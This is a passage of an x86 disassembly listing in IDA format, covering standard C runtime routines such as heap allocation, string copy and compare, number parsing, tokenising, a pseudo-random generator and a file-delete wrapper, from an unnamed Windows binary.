sub_41E3C2+A6j ; sub_41E3C2+C6j test ebp, ebp jnz short loc_41E4C7 loc_41E4AA: ; CODE XREF: sub_41E3C2+52j test esi, esi jnz short loc_41E4AF inc esi loc_41E4AF: ; CODE XREF: sub_41E3C2+EAj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push ds:dword_4E2EFC call ds:dword_42B194 ; RtlReAllocateHeap mov edi, eax loc_41E4C7: ; CODE XREF: sub_41E3C2+E6j test edi, edi jnz short loc_41E4E5 loc_41E4CB: ; CODE XREF: sub_41E3C2+41j cmp ds:dword_4E2964, 0 jz short loc_41E4E5 push esi call sub_421F2F test eax, eax pop ecx jnz loc_41E3FE jmp short loc_41E51D ; --------------------------------------------------------------------------- loc_41E4E5: ; CODE XREF: sub_41E3C2+107j ; sub_41E3C2+110j mov eax, edi jmp short loc_41E51F ; --------------------------------------------------------------------------- loc_41E4E9: ; CODE XREF: sub_41E3C2+36j ; sub_41E3C2+159j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41E509 test esi, esi jnz short loc_41E4F5 inc esi loc_41E4F5: ; CODE XREF: sub_41E3C2+130j push esi push ebx push 0 push ds:dword_4E2EFC call ds:dword_42B194 ; RtlReAllocateHeap test eax, eax jnz short loc_41E51F loc_41E509: ; CODE XREF: sub_41E3C2+12Cj cmp ds:dword_4E2964, 0 jz short loc_41E51F push esi call sub_421F2F test eax, eax pop ecx jnz short loc_41E4E9 loc_41E51D: ; CODE XREF: sub_41E3C2+2Aj ; sub_41E3C2+121j xor eax, eax loc_41E51F: ; CODE XREF: sub_41E3C2+125j ; sub_41E3C2+145j ... pop esi loc_41E520: ; CODE XREF: sub_41E3C2+15j pop edi pop ebp pop ebx retn sub_41E3C2 endp ; =============== S U B R O U T I N E ======================================= sub_41E524 proc near ; CODE XREF: sub_41E54E+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4220B2 test eax, eax jnz short loc_41E538 mov ds:dword_4E28F4, 18h retn ; --------------------------------------------------------------------------- loc_41E538: ; CODE XREF: sub_41E524+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_421F4A add esp, 10h retn sub_41E524 endp ; =============== S U B R O U T I N E ======================================= sub_41E54E proc near ; CODE XREF: sub_40274D+55D0p ; sub_40274D+716Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41E524 add esp, 0Ch retn sub_41E54E endp ; =============== S U B R O U T I N E ======================================= sub_41E561 proc near ; CODE XREF: sub_41E5A7+Bp arg_0 = dword ptr 4 cmp ds:dword_4E2F00, 3 push esi mov esi, [esp+4+arg_0] jnz short loc_41E582 cmp esi, ds:dword_4E2EEC ja short loc_41E582 push esi call sub_421967 test eax, eax pop ecx jnz short loc_41E5A5 loc_41E582: ; CODE XREF: sub_41E561+Cj ; sub_41E561+14j test esi, esi jnz short loc_41E587 inc esi loc_41E587: ; CODE XREF: sub_41E561+23j cmp ds:dword_4E2F00, 1 jz short loc_41E596 add esi, 0Fh and esi, 0FFFFFFF0h loc_41E596: ; CODE XREF: sub_41E561+2Dj push esi push 0 push ds:dword_4E2EFC call ds:dword_42B0E4 ; RtlAllocateHeap loc_41E5A5: ; CODE XREF: sub_41E561+1Fj pop esi retn sub_41E561 endp ; =============== S U B R O U T I N E ======================================= sub_41E5A7 proc near ; CODE XREF: sub_41E5D3+Ap ; sub_41FEB2+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41E5D0 loc_41E5AE: ; CODE XREF: sub_41E5A7+27j push [esp+arg_0] call sub_41E561 test eax, eax pop ecx jnz short locret_41E5D2 cmp [esp+arg_4], eax jz short locret_41E5D2 push [esp+arg_0] call sub_421F2F test eax, eax pop ecx jnz short loc_41E5AE loc_41E5D0: ; CODE XREF: sub_41E5A7+5j xor eax, eax locret_41E5D2: ; CODE XREF: sub_41E5A7+13j ; sub_41E5A7+19j retn sub_41E5A7 endp ; =============== S U B R O U T I N E ======================================= sub_41E5D3 proc near ; CODE XREF: sub_4022F5+5Ep ; sub_40AE18+32p ... arg_0 = dword ptr 4 push ds:dword_4E2964 push [esp+4+arg_0] call sub_41E5A7 pop ecx pop ecx retn sub_41E5D3 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41E5F0 proc near ; CODE XREF: seg000:0040114Bp ; seg000:00401159p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41E64B xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41E63B neg ecx and ecx, 3 jz short loc_41E61D sub edx, ecx loc_41E613: ; CODE XREF: sub_41E5F0+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_41E613 loc_41E61D: ; CODE XREF: sub_41E5F0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41E63B rep stosd test edx, edx jz short loc_41E645 loc_41E63B: ; CODE XREF: sub_41E5F0+18j ; sub_41E5F0+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_41E63B loc_41E645: ; CODE XREF: sub_41E5F0+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E64B: ; CODE XREF: sub_41E5F0+Aj mov eax, [esp+arg_0] retn sub_41E5F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E650 proc near ; CODE XREF: sub_4011F5+1Cp ; sub_417DE4+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_C] mov [ebp+var_1C], eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_4222C8 add esp, 0Ch test esi, esi mov edi, eax jz short loc_41E6A0 dec [ebp+var_1C] js short loc_41E693 mov eax, [ebp+var_20] mov byte ptr [eax], 0 jmp short loc_41E6A0 ; --------------------------------------------------------------------------- loc_41E693: ; CODE XREF: sub_41E650+39j lea eax, [ebp+var_20] push eax push 0 call sub_422124 pop ecx pop ecx loc_41E6A0: ; CODE XREF: sub_41E650+34j ; sub_41E650+41j mov eax, edi pop edi pop esi leave retn sub_41E650 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6A6 proc near ; CODE XREF: sub_40123B+5Ep ; sub_401F92+2Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_4222C8 add esp, 0Ch test esi, esi mov edi, eax jz short loc_41E6F8 dec [ebp+var_1C] js short loc_41E6EB mov eax, [ebp+var_20] mov byte ptr [eax], 0 jmp short loc_41E6F8 ; --------------------------------------------------------------------------- loc_41E6EB: ; CODE XREF: sub_41E6A6+3Bj lea eax, [ebp+var_20] push eax push 0 call sub_422124 pop ecx pop ecx loc_41E6F8: ; CODE XREF: sub_41E6A6+36j ; sub_41E6A6+43j mov eax, edi pop edi pop esi leave retn sub_41E6A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6FE proc near ; CODE XREF: sub_40123B+42p ; sub_40274D+1A89p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_1C], eax push edi lea eax, [ebp+arg_C] push eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_4222C8 add esp, 0Ch test esi, esi mov edi, eax jz short loc_41E74F dec [ebp+var_1C] js short loc_41E742 mov eax, [ebp+var_20] mov byte ptr [eax], 0 jmp short loc_41E74F ; --------------------------------------------------------------------------- loc_41E742: ; CODE XREF: sub_41E6FE+3Aj lea eax, [ebp+var_20] push eax push 0 call sub_422124 pop ecx pop ecx loc_41E74F: ; CODE XREF: sub_41E6FE+35j ; sub_41E6FE+42j mov eax, edi pop edi pop esi leave retn sub_41E6FE endp ; =============== S U B R O U T I N E ======================================= sub_41E755 proc near ; CODE XREF: sub_41E7ADj ; sub_4282DB+33p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] jmp short loc_41E75D ; --------------------------------------------------------------------------- loc_41E75C: ; CODE XREF: sub_41E755+14j inc esi loc_41E75D: ; CODE XREF: sub_41E755+5j movzx eax, byte ptr [esi] push eax call sub_422AC2 test eax, eax pop ecx jnz short loc_41E75C movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_41E77B cmp ecx, 2Bh jnz short loc_41E77F loc_41E77B: ; CODE XREF: sub_41E755+1Fj movzx ecx, byte ptr [esi] inc esi loc_41E77F: ; CODE XREF: sub_41E755+24j xor eax, eax loc_41E781: ; CODE XREF: sub_41E755+4Dj cmp ecx, 30h jl short loc_41E790 cmp ecx, 39h jg short loc_41E790 sub ecx, 30h jmp short loc_41E793 ; --------------------------------------------------------------------------- loc_41E790: ; CODE XREF: sub_41E755+2Fj ; sub_41E755+34j or ecx, 0FFFFFFFFh loc_41E793: ; CODE XREF: sub_41E755+39j cmp ecx, 0FFFFFFFFh jz short loc_41E7A4 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_41E781 ; --------------------------------------------------------------------------- loc_41E7A4: ; CODE XREF: sub_41E755+41j cmp edx, 2Dh pop esi jnz short locret_41E7AC neg eax locret_41E7AC: ; CODE XREF: sub_41E755+53j retn sub_41E755 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41E7AD proc near ; CODE XREF: sub_40274D+680p ; sub_40274D+8BDp ... jmp sub_41E755 sub_41E7AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7B2 proc near ; CODE XREF: sub_40274D+B6p ; sub_40274D+C6p ... var_24 = byte ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h mov eax, ds:dword_4437D4 push ebx push esi mov esi, [ebp+arg_4] push edi push 8 pop ecx mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_24] push 7 rep stosd pop edi loc_41E7D3: ; CODE XREF: sub_41E7B2+3Aj mov dl, [esi] movzx ecx, dl mov eax, ecx and ecx, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+var_24] or [eax], bl inc esi test dl, dl jnz short loc_41E7D3 mov edx, [ebp+arg_0] test edx, edx jnz short loc_41E802 mov edx, ds:dword_4E28F0 jmp short loc_41E802 ; --------------------------------------------------------------------------- loc_41E7FD: ; CODE XREF: sub_41E7B2+67j test al, al jz short loc_41E81B inc edx loc_41E802: ; CODE XREF: sub_41E7B2+41j ; sub_41E7B2+49j mov al, [edx] movzx esi, al xor ebx, ebx mov ecx, esi and ecx, edi inc ebx shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_24] test bl, cl jnz short loc_41E7FD loc_41E81B: ; CODE XREF: sub_41E7B2+4Dj mov ebx, edx jmp short loc_41E837 ; --------------------------------------------------------------------------- loc_41E81F: ; CODE XREF: sub_41E7B2+88j movzx esi, byte ptr [edx] xor eax, eax mov ecx, esi and ecx, edi inc eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_24] test al, cl jnz short loc_41E83E inc edx loc_41E837: ; CODE XREF: sub_41E7B2+6Bj cmp byte ptr [edx], 0 jnz short loc_41E81F jmp short loc_41E842 ; --------------------------------------------------------------------------- loc_41E83E: ; CODE XREF: sub_41E7B2+82j mov byte ptr [edx], 0 inc edx loc_41E842: ; CODE XREF: sub_41E7B2+8Aj mov ecx, [ebp+var_4] mov eax, ebx sub eax, edx neg eax pop edi sbb eax, eax and eax, ebx pop esi mov ds:dword_4E28F0, edx pop ebx call sub_422B83 leave retn sub_41E7B2 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= sub_41E860 proc near ; CODE XREF: sub_4025EF+64p ; sub_40274D+48p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41E8FF push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41E88C shr ecx, 2 jnz loc_41E90F jmp short loc_41E8B3 ; --------------------------------------------------------------------------- loc_41E88C: ; CODE XREF: sub_41E860+1Fj ; sub_41E860+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_41E8C6 test al, al jz short loc_41E8CE test esi, 3 jnz short loc_41E88C mov ebx, ecx shr ecx, 2 jnz short loc_41E90F loc_41E8AE: ; CODE XREF: sub_41E860+ADj and ebx, 3 jz short loc_41E8C6 loc_41E8B3: ; CODE XREF: sub_41E860+2Aj ; sub_41E860+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_41E8F8 sub ebx, 1 jnz short loc_41E8B3 loc_41E8C6: ; CODE XREF: sub_41E860+39j ; sub_41E860+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41E8CE: ; CODE XREF: sub_41E860+3Dj test edi, 3 jz short loc_41E8EC loc_41E8D6: ; CODE XREF: sub_41E860+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_41E97C test edi, 3 jnz short loc_41E8D6 loc_41E8EC: ; CODE XREF: sub_41E860+74j mov ebx, ecx shr ecx, 2 jnz short loc_41E967 loc_41E8F3: ; CODE XREF: sub_41E860+9Bj ; sub_41E860+116j mov [edi], al add edi, 1 loc_41E8F8: ; CODE XREF: sub_41E860+5Fj sub ebx, 1 jnz short loc_41E8F3 pop ebx pop esi loc_41E8FF: ; CODE XREF: sub_41E860+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E905: ; CODE XREF: sub_41E860+C7j ; sub_41E860+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_41E8AE loc_41E90F: ; CODE XREF: sub_41E860+24j ; sub_41E860+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41E905 test dl, dl jz short loc_41E959 test dh, dh jz short loc_41E94F test edx, 0FF0000h jz short loc_41E945 test edx, 0FF000000h jnz short loc_41E905 mov [edi], edx jmp short loc_41E95D ; --------------------------------------------------------------------------- loc_41E945: ; CODE XREF: sub_41E860+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_41E95D ; --------------------------------------------------------------------------- loc_41E94F: ; CODE XREF: sub_41E860+CFj and edx, 0FFh mov [edi], edx jmp short loc_41E95D ; --------------------------------------------------------------------------- loc_41E959: ; CODE XREF: sub_41E860+CBj xor edx, edx mov [edi], edx loc_41E95D: ; CODE XREF: sub_41E860+E3j ; sub_41E860+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_41E973 loc_41E967: ; CODE XREF: sub_41E860+91j xor eax, eax loc_41E969: ; CODE XREF: sub_41E860+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_41E969 loc_41E973: ; CODE XREF: sub_41E860+105j and ebx, 3 jnz loc_41E8F3 loc_41E97C: ; CODE XREF: sub_41E860+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41E860 endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41E990 proc near ; CODE XREF: sub_40274D+18Fp ; sub_40274D+1DEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41E9DC loc_41E9A0: ; CODE XREF: sub_41E990+3Cj ; sub_41E990+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_41E9D4 or al, al jz short loc_41E9D0 cmp ah, [ecx+1] jnz short loc_41E9D4 or ah, ah jz short loc_41E9D0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41E9D4 or al, al jz short loc_41E9D0 cmp ah, [ecx+3] jnz short loc_41E9D4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41E9A0 mov edi, edi loc_41E9D0: ; CODE XREF: sub_41E990+18j ; sub_41E990+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- loc_41E9D4: ; CODE XREF: sub_41E990+14j ; sub_41E990+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_41E9DC: ; CODE XREF: sub_41E990+Ej test edx, 1 jz short loc_41E9FC mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_41E9D4 add ecx, 1 or al, al jz short loc_41E9D0 test edx, 2 jz short loc_41E9A0 loc_41E9FC: ; CODE XREF: sub_41E990+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41E9D4 or al, al jz short loc_41E9D0 cmp ah, [ecx+1] jnz short loc_41E9D4 or ah, ah jz short loc_41E9D0 add ecx, 2 jmp short loc_41E9A0 sub_41E990 endp ; --------------------------------------------------------------------------- dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41EA20 proc near ; CODE XREF: sub_402472+Ap ; sub_40274D+Ap ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_41EA35 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_41EA35: ; CODE XREF: sub_41EA20+5j push ecx lea ecx, [esp+4+arg_0] loc_41EA3A: ; CODE XREF: sub_41EA20+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41EA3A sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41EA20 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA5D proc near ; CODE XREF: sub_40274D+7185p ; sub_40274D+71AFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41EA71 xor eax, eax jmp short loc_41EAA7 ; --------------------------------------------------------------------------- loc_41EA71: ; CODE XREF: sub_41EA5D+Ej dec [ebp+arg_4] push esi jz short loc_41EAA1 mov esi, [ebp+arg_8] loc_41EA7A: ; CODE XREF: sub_41EA5D+42j dec dword ptr [esi+4] js short loc_41EA89 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41EA90 ; --------------------------------------------------------------------------- loc_41EA89: ; CODE XREF: sub_41EA5D+20j push esi call sub_421C63 pop ecx loc_41EA90: ; CODE XREF: sub_41EA5D+2Aj cmp eax, 0FFFFFFFFh jz short loc_41EAAB mov [edi], al inc edi cmp al, 0Ah jz short loc_41EAA1 dec [ebp+arg_4] jnz short loc_41EA7A loc_41EAA1: ; CODE XREF: sub_41EA5D+18j ; sub_41EA5D+3Dj ... mov byte ptr [edi], 0 loc_41EAA4: ; CODE XREF: sub_41EA5D+55j mov eax, ebx pop esi loc_41EAA7: ; CODE XREF: sub_41EA5D+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA5D+36j cmp edi, [ebp+arg_0] jnz short loc_41EAA1 xor ebx, ebx jmp short loc_41EAA4 sub_41EA5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EAB4 proc near ; CODE XREF: sub_41EC61+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi mov esi, [ebp+arg_0] mov bl, [esi] push edi lea edi, [esi+1] loc_41EAC7: ; CODE XREF: sub_41EAB4+3Fj cmp ds:dword_4437B0, 1 movzx eax, bl jle short loc_41EADF push 8 push eax call sub_422B91 pop ecx pop ecx jmp short loc_41EAEC ; --------------------------------------------------------------------------- loc_41EADF: ; CODE XREF: sub_41EAB4+1Dj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 8 loc_41EAEC: ; CODE XREF: sub_41EAB4+29j test eax, eax jz short loc_41EAF5 mov bl, [edi] inc edi jmp short loc_41EAC7 ; --------------------------------------------------------------------------- loc_41EAF5: ; CODE XREF: sub_41EAB4+3Aj cmp bl, 2Dh jnz short loc_41EB00 or [ebp+arg_C], 2 jmp short loc_41EB05 ; --------------------------------------------------------------------------- loc_41EB00: ; CODE XREF: sub_41EAB4+44j cmp bl, 2Bh jnz short loc_41EB08 loc_41EB05: ; CODE XREF: sub_41EAB4+4Aj mov bl, [edi] inc edi loc_41EB08: ; CODE XREF: sub_41EAB4+4Fj mov eax, [ebp+arg_8] test eax, eax jl loc_41EC51 cmp eax, 1 jz loc_41EC51 cmp eax, 24h jg loc_41EC51 test eax, eax push 10h pop ecx jnz short loc_41EB50 cmp bl, 30h jz short loc_41EB3A mov [ebp+arg_8], 0Ah jmp short loc_41EB68 ; --------------------------------------------------------------------------- loc_41EB3A: ; CODE XREF: sub_41EAB4+7Bj mov al, [edi] cmp al, 78h jz short loc_41EB4D cmp al, 58h jz short loc_41EB4D mov [ebp+arg_8], 8 jmp short loc_41EB68 ; --------------------------------------------------------------------------- loc_41EB4D: ; CODE XREF: sub_41EAB4+8Aj ; sub_41EAB4+8Ej mov [ebp+arg_8], ecx loc_41EB50: ; CODE XREF: sub_41EAB4+76j cmp [ebp+arg_8], ecx jnz short loc_41EB68 cmp bl, 30h jnz short loc_41EB68 mov al, [edi] cmp al, 78h jz short loc_41EB64 cmp al, 58h jnz short loc_41EB68 loc_41EB64: ; CODE XREF: sub_41EAB4+AAj inc edi mov bl, [edi] inc edi loc_41EB68: ; CODE XREF: sub_41EAB4+84j ; sub_41EAB4+97j ... xor edx, edx or eax, 0FFFFFFFFh div [ebp+arg_8] mov ecx, edx mov edx, eax loc_41EB74: ; CODE XREF: sub_41EAB4+120j mov esi, ds:off_4437D8 movzx eax, bl mov ax, [esi+eax*2] test al, 4 jz short loc_41EB8D movsx esi, bl sub esi, 30h jmp short loc_41EBAB ; --------------------------------------------------------------------------- loc_41EB8D: ; CODE XREF: sub_41EAB4+CFj test ax, 103h jz short loc_41EBD6 cmp bl, 61h jl short loc_41EBA5 cmp bl, 7Ah jg short loc_41EBA5 movsx esi, bl sub esi, 20h jmp short loc_41EBA8 ; --------------------------------------------------------------------------- loc_41EBA5: ; CODE XREF: sub_41EAB4+E2j ; sub_41EAB4+E7j movsx esi, bl loc_41EBA8: ; CODE XREF: sub_41EAB4+EFj add esi, 0FFFFFFC9h loc_41EBAB: ; CODE XREF: sub_41EAB4+D7j cmp esi, [ebp+arg_8] jnb short loc_41EBD6 or [ebp+arg_C], 8 cmp [ebp+var_4], edx jb short loc_41EBC5 jnz short loc_41EBBF cmp esi, ecx jbe short loc_41EBC5 loc_41EBBF: ; CODE XREF: sub_41EAB4+105j or [ebp+arg_C], 4 jmp short loc_41EBD1 ; --------------------------------------------------------------------------- loc_41EBC5: ; CODE XREF: sub_41EAB4+103j ; sub_41EAB4+109j mov eax, [ebp+var_4] imul eax, [ebp+arg_8] add eax, esi mov [ebp+var_4], eax loc_41EBD1: ; CODE XREF: sub_41EAB4+10Fj mov bl, [edi] inc edi jmp short loc_41EB74 ; --------------------------------------------------------------------------- loc_41EBD6: ; CODE XREF: sub_41EAB4+DDj ; sub_41EAB4+FAj mov ecx, [ebp+arg_C] dec edi test cl, 8 jnz short loc_41EBEE cmp [ebp+arg_4], 0 jz short loc_41EBE8 mov edi, [ebp+arg_0] loc_41EBE8: ; CODE XREF: sub_41EAB4+12Fj and [ebp+var_4], 0 jmp short loc_41EC3B ; --------------------------------------------------------------------------- loc_41EBEE: ; CODE XREF: sub_41EAB4+129j test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41EC16 test cl, 1 jnz short loc_41EC3B mov edx, ecx and edx, 2 jz short loc_41EC0D cmp [ebp+var_4], 80000000h ja short loc_41EC16 loc_41EC0D: ; CODE XREF: sub_41EAB4+14Ej test edx, edx jnz short loc_41EC3B cmp [ebp+var_4], eax jbe short loc_41EC3B loc_41EC16: ; CODE XREF: sub_41EAB4+142j ; sub_41EAB4+157j test cl, 1 mov ds:dword_4E28F4, 22h jz short loc_41EC2B or [ebp+var_4], 0FFFFFFFFh jmp short loc_41EC3B ; --------------------------------------------------------------------------- loc_41EC2B: ; CODE XREF: sub_41EAB4+16Fj mov dl, cl and dl, 2 neg dl sbb edx, edx neg edx add edx, eax mov [ebp+var_4], edx loc_41EC3B: ; CODE XREF: sub_41EAB4+138j ; sub_41EAB4+147j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41EC44 mov [eax], edi loc_41EC44: ; CODE XREF: sub_41EAB4+18Cj test cl, 2 jz short loc_41EC4C neg [ebp+var_4] loc_41EC4C: ; CODE XREF: sub_41EAB4+193j mov eax, [ebp+var_4] jmp short loc_41EC5C ; --------------------------------------------------------------------------- loc_41EC51: ; CODE XREF: sub_41EAB4+59j ; sub_41EAB4+62j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41EC5A mov [eax], esi loc_41EC5A: ; CODE XREF: sub_41EAB4+1A2j xor eax, eax loc_41EC5C: ; CODE XREF: sub_41EAB4+19Bj pop edi pop esi pop ebx leave retn sub_41EAB4 endp ; =============== S U B R O U T I N E ======================================= sub_41EC61 proc near ; CODE XREF: sub_40274D+5ED3p ; sub_40274D+66F5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41EAB4 add esp, 10h retn sub_41EC61 endp ; =============== S U B R O U T I N E ======================================= sub_41EC78 proc near ; CODE XREF: sub_40274D+5685p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_42B02C ; DeleteFileA test eax, eax jnz short loc_41EC8E call ds:dword_42B01C ; RtlGetLastWin32Error jmp short loc_41EC90 ; --------------------------------------------------------------------------- loc_41EC8E: ; CODE XREF: sub_41EC78+Cj xor eax, eax loc_41EC90: ; CODE XREF: sub_41EC78+14j test eax, eax jz short loc_41EC9F push eax call sub_422C0F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41EC9F: ; CODE XREF: sub_41EC78+1Aj xor eax, eax retn sub_41EC78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ECA2 proc near ; CODE XREF: sub_40274D+55F4p ; sub_40E3B2+181p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_422C6E mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4222C8 push [ebp+arg_0] mov edi, eax push esi call sub_422CF6 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41ECA2 endp ; =============== S U B R O U T I N E ======================================= sub_41ECD4 proc near ; CODE XREF: sub_40274D+2F87p ; sub_40274D+3268p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_4434F0, eax retn sub_41ECD4 endp ; =============== S U B R O U T I N E ======================================= sub_41ECDE proc near ; CODE XREF: sub_40274D:loc_4033C5p ; sub_40274D+326Dp ... mov eax, ds:dword_4434F0 imul eax, 343FDh add eax, 269EC3h mov ds:dword_4434F0, eax xor eax, eax mov ax, word ptr ds:dword_4434F0+2 and eax, 7FFFh retn sub_41ECDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED01 proc near ; CODE XREF: sub_40274D+1FC4p ; sub_40A263+F3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41E1C0 cmp eax, 1 pop ecx jb short loc_41ED3D cmp byte ptr [ebx+1], 3Ah jnz short loc_41ED3D mov esi, [ebp+arg_4] test esi, 